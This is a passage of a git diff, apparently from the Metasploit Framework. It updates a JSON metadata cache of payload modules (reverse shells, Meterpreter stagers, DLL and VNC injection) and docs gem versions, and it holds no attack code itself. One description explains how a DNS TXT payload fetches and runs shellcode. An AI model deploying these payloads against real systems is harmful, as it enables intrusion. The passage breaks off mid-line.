"mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-01-15 04:31:53 +0000", "path": "/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/mipsle/meterpreter/reverse_tcp", @@ -235590,7 +238230,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/mipsle/reboot.rb", "is_install_path": true, "ref_name": "linux/mipsle/reboot", @@ -235627,7 +238267,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-01-15 04:31:53 +0000", "path": "/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/mipsle/shell/reverse_tcp", @@ -235668,7 +238308,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "linux/mipsle/shell_bind_tcp", @@ -235705,7 +238345,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/mipsle/shell_reverse_tcp", @@ -235855,7 +238495,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2024-12-19 12:13:55 +0000", "path": "/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "linux/ppc/shell_bind_tcp", @@ -235891,7 +238531,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2024-12-19 12:13:55 +0000", "path": "/modules/payloads/singles/linux/ppc/shell_find_port.rb", "is_install_path": true, "ref_name": "linux/ppc/shell_find_port", @@ -235927,7 +238567,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2024-12-19 12:13:55 +0000", "path": "/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/ppc/shell_reverse_tcp", @@ -235963,7 +238603,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "linux/ppc64/shell_bind_tcp", @@ -235999,7 +238639,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/ppc64/shell_find_port.rb", "is_install_path": true, "ref_name": "linux/ppc64/shell_find_port", @@ -236035,7 +238675,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/ppc64/shell_reverse_tcp", @@ -236301,7 +238941,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-05 00:01:41 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/riscv32le/exec.rb", "is_install_path": true, "ref_name": "linux/riscv32le/exec", @@ -236337,7 +238977,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-01 02:43:44 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/riscv32le/reboot.rb", "is_install_path": true, "ref_name": "linux/riscv32le/reboot", @@ -236375,7 +239015,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-05 00:01:41 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/riscv64le/exec.rb", "is_install_path": true, "ref_name": "linux/riscv64le/exec", @@ -236411,7 +239051,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-01 02:43:44 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/riscv64le/reboot.rb", "is_install_path": true, "ref_name": "linux/riscv64le/reboot", @@ -236448,7 +239088,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-09-22 12:55:41 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/x64/exec.rb", "is_install_path": true, "ref_name": "linux/x64/exec", @@ -236485,7 +239125,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/stagers/linux/x64/bind_tcp.rb", "is_install_path": true, "ref_name": "linux/x64/meterpreter/bind_tcp", @@ -236524,7 +239164,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-04-27 16:21:34 +0000", + "mod_time": "2024-12-20 04:15:41 +0000", "path": "/modules/payloads/stagers/linux/x64/reverse_sctp.rb", "is_install_path": true, "ref_name": "linux/x64/meterpreter/reverse_sctp", @@ -236564,7 +239204,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2024-12-20 04:15:41 +0000", "path": "/modules/payloads/stagers/linux/x64/reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/x64/meterpreter/reverse_tcp", @@ -236716,7 +239356,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-09-22 12:55:41 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/x64/pingback_bind_tcp.rb", "is_install_path": true, "ref_name": "linux/x64/pingback_bind_tcp", @@ -236752,7 +239392,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-09-22 12:55:41 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/x64/pingback_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/x64/pingback_reverse_tcp", @@ -236788,7 +239428,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/stagers/linux/x64/bind_tcp.rb", "is_install_path": true, "ref_name": "linux/x64/shell/bind_tcp", @@ -236827,7 +239467,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-04-27 16:21:34 +0000", + "mod_time": "2024-12-20 04:15:41 +0000", "path": "/modules/payloads/stagers/linux/x64/reverse_sctp.rb", "is_install_path": true, "ref_name": "linux/x64/shell/reverse_sctp", @@ -236866,7 +239506,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2024-12-20 04:15:41 +0000", "path": "/modules/payloads/stagers/linux/x64/reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/x64/shell/reverse_tcp", @@ -236904,7 +239544,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-09-22 12:55:41 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/x64/shell_bind_ipv6_tcp.rb", "is_install_path": true, "ref_name": "linux/x64/shell_bind_ipv6_tcp", @@ -236940,7 +239580,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/x64/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "linux/x64/shell_bind_tcp", @@ -236976,7 +239616,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-07-27 16:02:37 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb", "is_install_path": true, "ref_name": "linux/x64/shell_bind_tcp_random_port", @@ -237012,7 +239652,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/x64/shell_find_port.rb", "is_install_path": true, "ref_name": "linux/x64/shell_find_port", @@ -237048,7 +239688,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-09-22 12:55:41 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/x64/shell_reverse_ipv6_tcp.rb", "is_install_path": true, "ref_name": "linux/x64/shell_reverse_ipv6_tcp", @@ -237084,7 +239724,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/x64/shell_reverse_tcp", @@ -237122,7 +239762,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-09-22 12:55:41 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/x86/adduser.rb", "is_install_path": true, "ref_name": "linux/x86/adduser", @@ -237158,7 +239798,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-09-22 12:55:41 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/x86/chmod.rb", "is_install_path": true, "ref_name": "linux/x86/chmod", @@ -237196,7 +239836,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-09-22 12:55:41 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/x86/exec.rb", "is_install_path": true, "ref_name": "linux/x86/exec", @@ -237314,7 +239954,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/meterpreter/bind_nonx_tcp", @@ -237434,7 +240074,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/stagers/linux/x86/find_tag.rb", "is_install_path": true, "ref_name": "linux/x86/meterpreter/find_tag", @@ -237473,7 +240113,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/meterpreter/reverse_ipv6_tcp", @@ -237512,7 +240152,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/meterpreter/reverse_nonx_tcp", @@ -237746,7 +240386,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/metsvc_bind_tcp", @@ -237782,7 +240422,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/metsvc_reverse_tcp", @@ -237818,7 +240458,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-09-22 12:55:41 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/x86/read_file.rb", "is_install_path": true, "ref_name": "linux/x86/read_file", @@ -237935,7 +240575,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/shell/bind_nonx_tcp", @@ -238052,7 +240692,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/stagers/linux/x86/find_tag.rb", "is_install_path": true, "ref_name": "linux/x86/shell/find_tag", @@ -238091,7 +240731,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/shell/reverse_ipv6_tcp", @@ -238129,7 +240769,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/shell/reverse_nonx_tcp", @@ -238247,7 +240887,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/shell_bind_ipv6_tcp", @@ -238283,7 +240923,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/x86/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/shell_bind_tcp", @@ -238321,7 +240961,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb", "is_install_path": true, "ref_name": "linux/x86/shell_bind_tcp_random_port", @@ -238357,7 +240997,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/x86/shell_find_port.rb", "is_install_path": true, "ref_name": "linux/x86/shell_find_port", @@ -238393,7 +241033,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/x86/shell_find_tag.rb", "is_install_path": true, "ref_name": "linux/x86/shell_find_tag", @@ -238430,7 +241070,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/shell_reverse_tcp", @@ -238466,7 +241106,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-09-22 12:55:41 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/x86/shell_reverse_tcp_ipv6.rb", "is_install_path": true, "ref_name": "linux/x86/shell_reverse_tcp_ipv6", @@ -242837,47 +245477,6 @@ "stage_refname": "windows/custom", "stager_refname": "windows/findtag_ord" }, - "payload_windows/custom/reverse_hop_http": { - "name": "Windows shellcode stage, Reverse Hop HTTP/HTTPS Stager", - "fullname": "payload/windows/custom/reverse_hop_http", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "bwatters-r7", - "scriptjunkie ", - "bannedit ", - "hdm " - ], - "description": "Custom shellcode stage.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.", - "references": [ - - ], - "platform": "Windows", - "arch": "x86", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2024-01-07 14:06:31 +0000", - "path": "/modules/payloads/stagers/windows/reverse_hop_http.rb", - "is_install_path": true, - "ref_name": "windows/custom/reverse_hop_http", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false, - "payload_type": 2, - "staged": true, - "stage_refname": "windows/custom", - "stager_refname": "windows/reverse_hop_http" - }, "payload_windows/custom/reverse_http": { "name": "Windows shellcode stage, Windows Reverse HTTP Stager (wininet)", "fullname": "payload/windows/custom/reverse_http", @@ -242995,47 +245594,6 @@ "stage_refname": "windows/custom", "stager_refname": "windows/reverse_https" }, - "payload_windows/custom/reverse_https_proxy": { - "name": "Windows shellcode stage, Reverse HTTPS Stager with Support for Custom Proxy", - "fullname": "payload/windows/custom/reverse_https_proxy", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "bwatters-r7", - "hdm ", - "corelanc0d3r ", - "amaloteaux " - ], - "description": "Custom shellcode stage.\n\nTunnel communication over HTTP using SSL with custom proxy support", - "references": [ - - ], - "platform": "Windows", - "arch": "x86", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/stagers/windows/reverse_https_proxy.rb", - "is_install_path": true, - "ref_name": "windows/custom/reverse_https_proxy", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false, - "payload_type": 2, - "staged": true, - "stage_refname": "windows/custom", - "stager_refname": "windows/reverse_https_proxy" - }, "payload_windows/custom/reverse_ipv6_tcp": { "name": "Windows shellcode stage, Reverse TCP Stager (IPv6)", "fullname": "payload/windows/custom/reverse_ipv6_tcp", @@ -243977,48 +246535,6 @@ "stage_refname": "windows/dllinject", "stager_refname": "windows/findtag_ord" }, - "payload_windows/dllinject/reverse_hop_http": { - "name": "Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager", - "fullname": "payload/windows/dllinject/reverse_hop_http", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "sf ", - "scriptjunkie ", - "bannedit ", - "hdm " - ], - "description": "Inject a DLL via a reflective loader.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.", - "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" - ], - "platform": "Windows", - "arch": "x86", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2024-01-07 14:06:31 +0000", - "path": "/modules/payloads/stagers/windows/reverse_hop_http.rb", - "is_install_path": true, - "ref_name": "windows/dllinject/reverse_hop_http", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false, - "payload_type": 2, - "staged": true, - "stage_refname": "windows/dllinject", - "stager_refname": "windows/reverse_hop_http" - }, "payload_windows/dllinject/reverse_http": { "name": "Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)", "fullname": "payload/windows/dllinject/reverse_http", @@ -244524,7 +247040,7 @@ "author": [ "corelanc0d3r " ], - "description": "Performs a TXT query against a series of DNS record(s) and executes the returned payload", + "description": "Performs a TXT query against a series of DNS record(s) and executes the returned x86 shellcode. The DNSZONE\n option is used as the base name to iterate over. The payload will first request the TXT contents of the a\n hostname, followed by b, then c, etc. until there are no more records. For each record that is returned, exactly\n 255 bytes from it are copied into a buffer that is eventually executed. This buffer should be encoded using\n x86/alpha_mixed with the BufferRegister option set to EDI.", "references": [ ], @@ -244534,7 +247050,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-07 14:06:31 +0000", + "mod_time": "2024-12-06 14:26:44 +0000", "path": "/modules/payloads/singles/windows/dns_txt_query_exec.rb", "is_install_path": true, "ref_name": "windows/dns_txt_query_exec", @@ -244570,7 +247086,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-07 14:06:31 +0000", + "mod_time": "2024-11-26 11:49:56 +0000", "path": "/modules/payloads/singles/windows/download_exec.rb", "is_install_path": true, "ref_name": "windows/download_exec", @@ -244722,7 +247238,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2024-11-28 06:39:07 +0000", "path": "/modules/payloads/singles/windows/messagebox.rb", "is_install_path": true, "ref_name": "windows/messagebox", @@ -245161,50 +247677,6 @@ "stage_refname": "windows/meterpreter", "stager_refname": "windows/findtag_ord" }, - "payload_windows/meterpreter/reverse_hop_http": { - "name": "Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager", - "fullname": "payload/windows/meterpreter/reverse_hop_http", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "skape ", - "sf ", - "OJ Reeves", - "scriptjunkie ", - "bannedit ", - "hdm " - ], - "description": "Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.", - "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" - ], - "platform": "Windows", - "arch": "x86", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2024-01-07 14:06:31 +0000", - "path": "/modules/payloads/stagers/windows/reverse_hop_http.rb", - "is_install_path": true, - "ref_name": "windows/meterpreter/reverse_hop_http", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false, - "payload_type": 2, - "staged": true, - "stage_refname": "windows/meterpreter", - "stager_refname": "windows/reverse_hop_http" - }, "payload_windows/meterpreter/reverse_http": { "name": "Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)", "fullname": "payload/windows/meterpreter/reverse_http", @@ -245331,50 +247803,6 @@ "stage_refname": "windows/meterpreter", "stager_refname": "windows/reverse_https" }, - "payload_windows/meterpreter/reverse_https_proxy": { - "name": "Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy", - "fullname": "payload/windows/meterpreter/reverse_https_proxy", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "skape ", - "sf ", - "OJ Reeves", - "hdm ", - "corelanc0d3r ", - "amaloteaux " - ], - "description": "Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer.\n\nTunnel communication over HTTP using SSL with custom proxy support", - "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" - ], - "platform": "Windows", - "arch": "x86", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/stagers/windows/reverse_https_proxy.rb", - "is_install_path": true, - "ref_name": "windows/meterpreter/reverse_https_proxy", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false, - "payload_type": 2, - "staged": true, - "stage_refname": "windows/meterpreter", - "stager_refname": "windows/reverse_https_proxy" - }, "payload_windows/meterpreter/reverse_ipv6_tcp": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)", "fullname": "payload/windows/meterpreter/reverse_ipv6_tcp", @@ -251002,48 +253430,6 @@ "stage_refname": "windows/vncinject", "stager_refname": "windows/findtag_ord" }, - "payload_windows/vncinject/reverse_hop_http": { - "name": "VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager", - "fullname": "payload/windows/vncinject/reverse_hop_http", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "sf ", - "scriptjunkie ", - "bannedit ", - "hdm " - ], - "description": "Inject a VNC Dll via a reflective loader (staged).\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.", - "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" - ], - "platform": "Windows", - "arch": "x86", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2024-01-07 14:06:31 +0000", - "path": "/modules/payloads/stagers/windows/reverse_hop_http.rb", - "is_install_path": true, - "ref_name": "windows/vncinject/reverse_hop_http", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false, - "payload_type": 2, - "staged": true, - "stage_refname": "windows/vncinject", - "stager_refname": "windows/reverse_hop_http" - }, "payload_windows/vncinject/reverse_http": { "name": "VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)", "fullname": "payload/windows/vncinject/reverse_http", @@ -251801,7 +254187,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2024-12-16 12:48:57 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_http.rb", "is_install_path": true, "ref_name": "windows/x64/custom/reverse_http", @@ -251842,7 +254228,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2024-12-16 12:48:57 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_https.rb", "is_install_path": true, "ref_name": "windows/x64/custom/reverse_https", @@ -252269,7 +254655,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-08-03 17:10:11 +0000", + "mod_time": "2024-11-27 08:15:57 +0000", "path": "/modules/payloads/singles/windows/x64/messagebox.rb", "is_install_path": true, "ref_name": "windows/x64/messagebox", @@ -252559,7 +254945,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2024-12-16 12:48:57 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_http.rb", "is_install_path": true, "ref_name": "windows/x64/meterpreter/reverse_http", @@ -252603,7 +254989,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2024-12-16 12:48:57 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_https.rb", "is_install_path": true, "ref_name": "windows/x64/meterpreter/reverse_https", @@ -254345,7 +256731,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2024-12-16 12:48:57 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_http.rb", "is_install_path": true, "ref_name": "windows/x64/vncinject/reverse_http", @@ -254387,7 +256773,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2024-12-16 12:48:57 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_https.rb", "is_install_path": true, "ref_name": "windows/x64/vncinject/reverse_https", @@ -260922,7 +263308,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-15 14:56:46 +0000", + "mod_time": "2024-12-16 17:51:38 +0000", "path": "/modules/post/multi/recon/local_exploit_suggester.rb", "is_install_path": true, "ref_name": "multi/recon/local_exploit_suggester", diff --git a/docs/Gemfile b/docs/Gemfile index 1905012e292b..8e5bee45ad28 100644 --- a/docs/Gemfile +++ b/docs/Gemfile @@ -6,6 +6,7 @@ gem 'just-the-docs', github: 'rapid7/just-the-docs', branch: 'r7_ver_custom' #gem 'just-the-docs', path: '../../just-the-docs' gem 'webrick' gem 'rexml' +gem 'jekyll-sass-converter', '~> 2.2.0' group :jekyll_plugins do gem 'jekyll-sitemap' diff --git a/docs/Gemfile.lock b/docs/Gemfile.lock index 0d3d607c691f..125c702c17ac 100644 --- a/docs/Gemfile.lock +++ b/docs/Gemfile.lock @@ -12,22 +12,22 @@ GIT GEM remote: https://rubygems.org/ specs: - addressable (2.8.1) - public_suffix (>= 2.0.2, < 6.0) + addressable (2.8.7) + public_suffix (>= 2.0.2, < 7.0) byebug (11.1.3) coderay (1.1.3) colorator (1.1.0) - concurrent-ruby (1.1.10) + concurrent-ruby (1.3.4) em-websocket (0.5.3) eventmachine (>= 0.12.9) http_parser.rb (~> 0) eventmachine (1.2.7) - ffi (1.15.5) + ffi (1.17.0) forwardable-extended (2.6.0) http_parser.rb (0.8.0) - i18n (1.12.0) + i18n (1.14.6) concurrent-ruby (~> 1.0) - jekyll 